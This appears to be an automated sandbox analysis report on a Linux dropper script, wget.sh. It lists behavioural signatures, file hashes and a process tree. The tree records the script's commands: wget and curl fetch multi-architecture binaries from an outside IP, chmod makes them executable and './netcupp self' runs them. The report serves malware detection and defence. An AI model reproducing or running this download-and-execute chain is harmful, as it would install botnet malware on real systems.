Overview

overview

10

Static

static

1

wget.sh

ubuntu-18.04-amd64

10

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

10

wget.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    135s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/06/2026, 12:15

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General

  • Target
    wget.sh
  • Size 2KB
  • Sample260602-pe115acy3v
  • SHA256 9b1a7f7713da9688b0ee16b5976a8557a467cc7a0101ada306e2eb298f7cc71a
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 7 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:639
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:647
    • /usr/bin/wget
      wget http://83.142.209.67/main_x86
      2⤵
      • Writes file to tmp directory
      PID:653
    • /usr/bin/curl
      curl -O http://83.142.209.67/main_x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      PID:666
    • /bin/cat
      cat main_x86
      2⤵
        PID:773
      • /bin/chmod
        chmod +x busybox main_x86 netcupp wget.sh
        2⤵
        • File and Directory Permissions Modification
        PID:774
      • /tmp/netcupp
        ./netcupp self
        2⤵
          PID:775
        • /usr/bin/wget
          wget http://83.142.209.67/main_mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:778
        • /usr/bin/curl
          curl -O http://83.142.209.67/main_mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:779
        • /bin/cat
          cat main_mips
          2⤵
          • System Network Configuration Discovery
          PID:780
        • /bin/chmod
          chmod +x busybox main_mips main_x86 netcupp wget.sh
          2⤵
          • File and Directory Permissions Modification
          PID:781
        • /tmp/netcupp
          ./netcupp self
          2⤵
            PID:782
          • /usr/bin/wget
            wget http://83.142.209.67/main_x86_64
            2⤵
            • Writes file to tmp directory
            PID:784
          • /usr/bin/curl
            curl -O http://83.142.209.67/main_x86_64
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:785
          • /bin/cat
            cat main_x86_64
            2⤵
              PID:786
            • /bin/chmod
              chmod +x busybox main_mips main_x86 main_x86_64 netcupp wget.sh
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/netcupp
              ./netcupp self
              2⤵
                PID:788
              • /usr/bin/wget
                wget http://83.142.209.67/main_mpsl
                2⤵
                  PID:790

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    busybox
                    • Path /tmp/busybox
                    • Size 507KB
                    • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    main_mips
                    • Path /tmp/main_mips
                    • Size 60KB
                    • SHA256 88288b59a32da4b8ebbd362de871189c1101e8b90d2108c444e31bc8c462b6f8
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    main_x86
                    • Path /tmp/main_x86
                    • Size 37KB
                    • SHA256 b5fa1d756bf90514b753bacc59f293143258aaad6e9ef6efb8b5b5231e826ae3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    main_x86_64
                    • Path /tmp/main_x86_64
                    • Size 53KB
                    • SHA256 ffd6619b30974fc02fd23ae7668d9b1a7771559b54431c9b2464306f3e107c67
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download